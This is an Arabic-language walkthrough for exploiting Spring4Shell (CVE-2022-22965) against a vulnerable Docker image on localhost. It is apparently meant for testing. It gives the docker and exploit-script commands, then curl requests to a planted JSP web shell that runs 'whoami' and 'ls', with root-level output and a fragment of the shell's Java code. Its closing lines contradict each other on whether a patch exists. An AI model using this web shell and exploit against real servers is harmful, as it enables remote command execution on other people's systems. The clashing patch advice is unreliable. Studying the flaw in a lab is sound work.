
Spring4Shell - Spring Core RCE - CVE-2022-22965
بعد Spring Cloud، في 29 مارس، ظهرت ثغرة أمنية أخرى ذات ثقل كبير لـ Spring على الإنترنت: Spring Core RCE
في 31 مارس أصدرت Spring إصدارات جديدة تعمل على إصلاح الثغرة. راجع القسم التصحيح.
في 31 مارس تم أخيرًا تعيين رقم CVE للثغرة بدرجة CVSS 9.8 (حرجة)
الاستغلال سهل الاستخدام للغاية، ومن هنا تأتي درجة CVSS العالية جدًا 9.8.
لاختبار الثغرة يمكنك القيام بما يلي.
قم بتشغيل صورة Docker ضعيفة لـ Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
هذا يربط Spring الضعيفة بالعنوان localhost:8082.
تحقق من بدء تشغيل الصورة بشكل صحيح باستخدام curl
curl http://localhost:8082
يجب أن يتم إرجاع استجابة ok.
لنستغل الصورة الضعيفة الآن!
python3 exp.py --url http://localhost:8082
يجب أن يتم إرجاع استجابة The vulnerability exists .....
يمكنك الآن استغلال الثغرة باستخدام curl
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
تم رفع الاستغلال حتى الآن exp.py


أصدرت Spring الآن إصدارات جديدة تعالج هذه الثغرة (CVE). راجع إعلان Spring.
حاليًا، لم يصدر Spring تصحيحًا رسميًا بعد، يُنصح بتقليل إصدار JDK كحل مؤقت